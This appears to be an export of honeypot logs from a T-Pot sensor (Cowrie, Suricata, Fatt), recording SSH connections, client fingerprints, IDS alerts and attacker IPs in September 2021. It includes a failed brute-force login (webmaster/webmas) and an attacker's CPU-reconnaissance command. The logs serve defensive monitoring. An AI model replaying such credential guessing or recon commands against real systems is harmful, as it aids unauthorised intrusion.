28093	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:05.63993+03	2021-09-20 14:30:02.377525+03	{"_id": "PwbrAnwBvYTbRNuElCyc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1c8de958179b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:05.639930Z", "@timestamp": "2021-09-20T11:16:05.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28094	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:16:05.854542+03	2021-09-20 14:30:02.379554+03	{"_id": "QAbrAnwBvYTbRNuElixs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 678565866965984, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45926, "dest_port": 22, "timestamp": "2021-09-20T11:16:05.854542Z", "@timestamp": "2021-09-20T11:16:05.854Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28095	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:06.393319+03	2021-09-20 14:30:02.380525+03	{"_id": "RAbrAnwBvYTbRNuElyy1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49334, "timestamp": "2021-09-20T11:16:06.393319", "@timestamp": "2021-09-20T11:16:06.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28096	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:06.250274+03	2021-09-20 14:30:02.381524+03	{"_id": "RgbrAnwBvYTbRNuEmCyF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ffcfecd89d42", "@version": "1", "timestamp": "2021-09-20T11:16:06.250274Z", "@timestamp": "2021-09-20T11:16:06.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28097	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:16:06.79486+03	2021-09-20 14:30:02.382524+03	{"_id": "WgbrAnwBvYTbRNuEmixV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:04.155157+0000", "pkts_toclient": 10, "pkts_toserver": 14, "bytes_toclient": 2003, "bytes_toserver": 3564}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 151513250160149, "payload": "q/cI32mym9dIRaVPtcB62tygDw1FNDyZGplEvmau+q/n8tFbNtv8a1/vd6xP8v1/nHyx8A7uUl/dVbhbf/MYpTiyGzehBkTiRrQYvKWLt9c=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner", "is_ssh_server_kex"]}, "src_port": 41318, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:06.794860Z", "@timestamp": "2021-09-20T11:16:06.794Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....i...HE.O..z....\\rE4<...D.f......[6..k_.w.O....|....R_.U.[....8..7..D.F......."}}	1	\N	\N	alert	\N	\N
28098	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:07.273927+03	2021-09-20 14:30:02.384523+03	{"_id": "XQbrAnwBvYTbRNuEmyye", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40126, "timestamp": "2021-09-20T11:16:07.273927", "@timestamp": "2021-09-20T11:16:07.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28102	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:03.315618+03	2021-09-20 14:30:02.389524+03	{"_id": "FQbrAnwBvYTbRNuEjCzL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 19, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.71.17.12", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5679285526275635, "duplicate": true, "timestamp": "2021-09-20T11:16:03.315618Z", "@timestamp": "2021-09-20T11:16:03.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28103	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:16:04.201822+03	2021-09-20 14:30:02.391524+03	{"_id": "GwbrAnwBvYTbRNuEjyzj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44840, "dest_port": 22, "timestamp": "2021-09-20T11:16:04.201822", "@timestamp": "2021-09-20T11:16:04.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28104	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:16:04.432927+03	2021-09-20 14:30:02.392523+03	{"_id": "IAbrAnwBvYTbRNuEkCyy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:41318 (192.168.176.2:22) [session: 79c7de44a56d]", "session": "79c7de44a56d", "@version": "1", "protocol": "ssh", "src_port": 41318, "dest_port": 22, "timestamp": "2021-09-20T11:16:04.432927Z", "@timestamp": "2021-09-20T11:16:04.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28105	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:04.255428+03	2021-09-20 14:30:02.393524+03	{"_id": "IQbrAnwBvYTbRNuEkCyy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.71.17.12", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5743722915649414, "duplicate": true, "timestamp": "2021-09-20T11:16:04.255428Z", "@timestamp": "2021-09-20T11:16:04.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28106	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:16:04.508409+03	2021-09-20 14:30:02.394523+03	{"_id": "IgbrAnwBvYTbRNuEkCyy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "79c7de44a56d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:04.508409Z", "@timestamp": "2021-09-20T11:16:04.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
43817	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:21:04.51612+03	2021-09-20 16:30:03.555746+03	{"_id": "4AZeA3wBvYTbRNuEA5p7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:21:04.516120Z", "@timestamp": "2021-09-20T13:21:04.516Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28107	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:05.636537+03	2021-09-20 14:30:02.395525+03	{"_id": "MAbrAnwBvYTbRNuElCyc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:05.636537Z", "@timestamp": "2021-09-20T11:16:05.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28108	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:05.218193+03	2021-09-20 14:30:02.396524+03	{"_id": "NwbrAnwBvYTbRNuElCyc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [webmaster/webmas] failed", "session": "fbae18101d37", "@version": "1", "password": "webmas", "username": "webmaster", "timestamp": "2021-09-20T11:16:05.218193Z", "@timestamp": "2021-09-20T11:16:05.218Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28109	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:16:06.063421+03	2021-09-20 14:30:02.398523+03	{"_id": "QQbrAnwBvYTbRNuElixs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 761626239554227, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46900, "dest_port": 22, "timestamp": "2021-09-20T11:16:06.063421Z", "@timestamp": "2021-09-20T11:16:06.063Z", "event_type": "ssh", 